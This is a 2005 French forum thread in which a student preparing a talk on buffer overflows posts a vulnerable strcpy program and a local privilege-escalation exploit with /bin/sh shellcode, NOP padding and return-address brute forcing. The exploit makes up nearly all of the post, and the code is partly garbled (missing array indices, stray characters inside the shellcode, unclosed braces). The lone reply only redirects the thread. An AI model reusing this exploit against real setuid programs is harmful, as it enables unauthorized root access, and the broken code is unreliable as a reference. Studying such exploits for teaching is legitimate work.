Actualité informatique
Test comparatif matériel informatique
Jeux vidéo
Astuces informatique
Vidéo
Télécharger
Services en ligne
Forum informatique
01Business

|-  SECURITE


|||-  

Projet buffer overflow

 

ibizastweet et 1 utilisateur anonyme
Ajouter une réponse
 

 
Page photos
 
     
Vider la liste des messages à citer
 
 Page :
1
Auteur
 Sujet :

Projet buffer overflow

Prévenir les modérateurs en cas d'abus 
angelfire0​8081
angelfire08081
  1. Posté le 04/02/2005 à 16:08:17  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
en fait mon probleme le voici :
 
 j'ai un exposé a faire sur le buffer oveflow mais voila j'ai recupéré un code d'un bof mais je n'ai pas accés à root, je pense que c'est le bit suid, mais je l'ai bien mis sur le fichier!!!!
 Alors es ce que c'est la shellcode ou autre chose qui ne me donne pas les accées root?
 
 voici l'exploit  
 
 vuln1:  
 int main(int argc, char **argv)  
 {  
 char buffer[100];  
 if (argc > 1)  
 strcpy(buffer, argv[1]);  
 return (0);  
 }  
 
 exploit1:  
 #include <stdlib.h>  
 #define BUFFER_LEN 100  
 #define OVERFLOW 28  
 
 int main()  
 {  
 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\​xc0\x88\x46\x07"  
 "\x89\x46\x0c\x89\xf3\x8d\x4e\​x08\x8d\x56"  
 "\x0c\xb0\x0b\xcd\x80\x31\xdb\​x89\xd8\x40"  
 "\xcd\x80\xe8\xdc\xff\xff\xff"  
 "/bin/sh";  
 char newret[] = "\x00\xf1\xff\xbf"; // adresse de depart  
 char diff[] = "\xff\xff\xff\xbf"; // adresse limite  
 char buffer[512];  
 int i;  
 int j;  
 int loop;  
 int pid;  
 int error;  
 
 for (loop = 0; strcmp(diff, newret) > 0; loop++)  
 {  
 error = 0;  
 
 newret[0] += 1;  
 if (newret[0] == '\x00')  
 {  
 newret[1] += 1;  
 newret[0] = '\x00';  
 continue;  
 }  
 
 for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(2*strl​en(newret)+strlen(shellcode)))​; i++)  
 buffer = '\x90';  
 
 for (j = 0; shellcode[j]; j++, i++)  
 buffer = shellcode[j];  
 
 for (j = 0; newret[j]; j++, i++)  
 buffer = newret[j];  
 
 for (j = 0; newret[j]; j++, i++)  
 buffer = newret[j];  
 
 pid = fork();  
 if (pid == -1)  
 {  
 printf("#@! Fork() Error.\n" );  
 exit(0);  
 }  
 else if (pid == 0)  
 {  
 execl("/home/user/vuln1", "vuln1", buffer, NULL);  
 exit(0);  
 }  
 else  
 waitpid(pid, &error, 0);  
 
 if (error == 0)  
 {  
 return (0);  
 }  
 a l"execution j'ai :  
 
 sh-2.05a$ whoami  
 user  
 sh-2.05a$  
 :-(  
 
 comment faire please!!!!!!! :-(  
 
 
 :-(
 help  
 
 

gchris
Membre impliqué (de 20 000 à 29 999 messages postés)
  1. Posté le 04/02/2005 à 16:16:48  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Mauvaise catégorie... -> Programmation.

(Publicité)
 Page :
1

Aller à :
 

Sujets relatifs
buffer overrun Trojan downloader et Buffer overrun detected
Virus effaceur et buffer overrun c++ library Buffer overrun - virus
buffer overflow + Trojan MSRPC SrvSvc NetApi Buffer Overflow et Vundo [résolu]
Buffer overrun detected! Message de Bitdefender: "Buffer overrun detected"
Projet OpenSource "Blue Frog" people on page,n-case, delfin projet?
Plus de sujets relatifs à : Projet buffer overflow

Les 5 sujets de discussion précédents Nombre de réponses Dernier message
TrojanDownloader:Win32/Small.ZZ 14
Trojan-clicker.Win32.VB.exe détecté par f-secure 1
CASHBACK IMPOSSIBLE A DESINSTALLER 1
pages indesirables s'affichant toutes seules ! 1
cheval de troie irc 5